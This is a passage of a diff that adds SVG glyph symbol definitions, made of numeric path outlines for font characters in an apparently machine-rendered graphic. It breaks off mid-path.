+<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-18"> +<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-19"> +<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-20"> +<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-21"> +<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-22"> +<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-23"> +<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-24"> +<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-25"> +<path style="stroke:none;" d="M 0.53125 -0.625 C 0.53125 -0.875 0.597656 -1.070312 0.734375 -1.21875 C 0.878906 -1.363281 1.066406 -1.4375 1.296875 -1.4375 C 1.546875 -1.4375 1.75 -1.332031 1.90625 -1.125 C 2.070312 -0.925781 2.15625 -0.601562 2.15625 -0.15625 C 2.15625 0.164062 2.113281 0.453125 2.03125 0.703125 C 1.945312 0.960938 1.835938 1.191406 1.703125 1.390625 C 1.578125 1.585938 1.4375 1.75 1.28125 1.875 C 1.125 2 0.972656 2.09375 0.828125 2.15625 L 0.453125 1.65625 C 0.578125 1.59375 0.695312 1.503906 0.8125 1.390625 C 0.925781 1.273438 1.019531 1.148438 1.09375 1.015625 C 1.164062 0.878906 1.222656 0.734375 1.265625 0.578125 C 1.304688 0.429688 1.328125 0.28125 1.328125 0.125 C 1.128906 0.1875 0.945312 0.148438 0.78125 0.015625 C 0.613281 -0.117188 0.53125 -0.332031 0.53125 -0.625 Z M 0.53125 -0.625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-26"> +<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-27"> +<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-28"> +<path style="stroke:none;" d="M 1.8125 -7.328125 L 1.8125 -2.84375 C 1.8125 -2.101562 1.890625 -1.570312 2.046875 -1.25 C 2.203125 -0.9375 2.476562 -0.78125 2.875 -0.78125 C 3.082031 -0.78125 3.265625 -0.820312 3.421875 -0.90625 C 3.585938 -0.988281 3.734375 -1.097656 3.859375 -1.234375 C 3.984375 -1.367188 4.09375 -1.523438 4.1875 -1.703125 C 4.289062 -1.878906 4.375 -2.0625 4.4375 -2.25 L 4.4375 -7.328125 L 5.484375 -7.328125 L 5.484375 -2.078125 C 5.484375 -1.734375 5.492188 -1.367188 5.515625 -0.984375 C 5.546875 -0.609375 5.585938 -0.28125 5.640625 0 L 4.890625 0 L 4.625 -1.03125 L 4.578125 -1.03125 C 4.410156 -0.707031 4.171875 -0.425781 3.859375 -0.1875 C 3.546875 0.0507812 3.15625 0.171875 2.6875 0.171875 C 2.375 0.171875 2.097656 0.128906 1.859375 0.046875 C 1.628906 -0.0234375 1.429688 -0.160156 1.265625 -0.359375 C 1.097656 -0.566406 0.972656 -0.847656 0.890625 -1.203125 C 0.804688 -1.566406 0.765625 -2.023438 0.765625 -2.578125 L 0.765625 -7.328125 Z M 1.8125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-29"> +<path style="stroke:none;" d="M 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.253906 -9.328125 1.515625 -9.734375 C 1.785156 -10.148438 2.238281 -10.359375 2.875 -10.359375 C 3.125 -10.359375 3.351562 -10.34375 3.5625 -10.3125 C 3.769531 -10.28125 3.984375 -10.21875 4.203125 -10.125 L 3.9375 -9.21875 C 3.757812 -9.289062 3.59375 -9.335938 3.4375 -9.359375 C 3.289062 -9.390625 3.144531 -9.40625 3 -9.40625 C 2.8125 -9.40625 2.660156 -9.363281 2.546875 -9.28125 C 2.441406 -9.207031 2.363281 -9.085938 2.3125 -8.921875 C 2.257812 -8.753906 2.222656 -8.539062 2.203125 -8.28125 C 2.191406 -8.019531 2.1875 -7.703125 2.1875 -7.328125 L 3.71875 -7.328125 L 3.71875 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 Z M 0.234375 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-30"> +<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-31"> +<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-32"> +<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 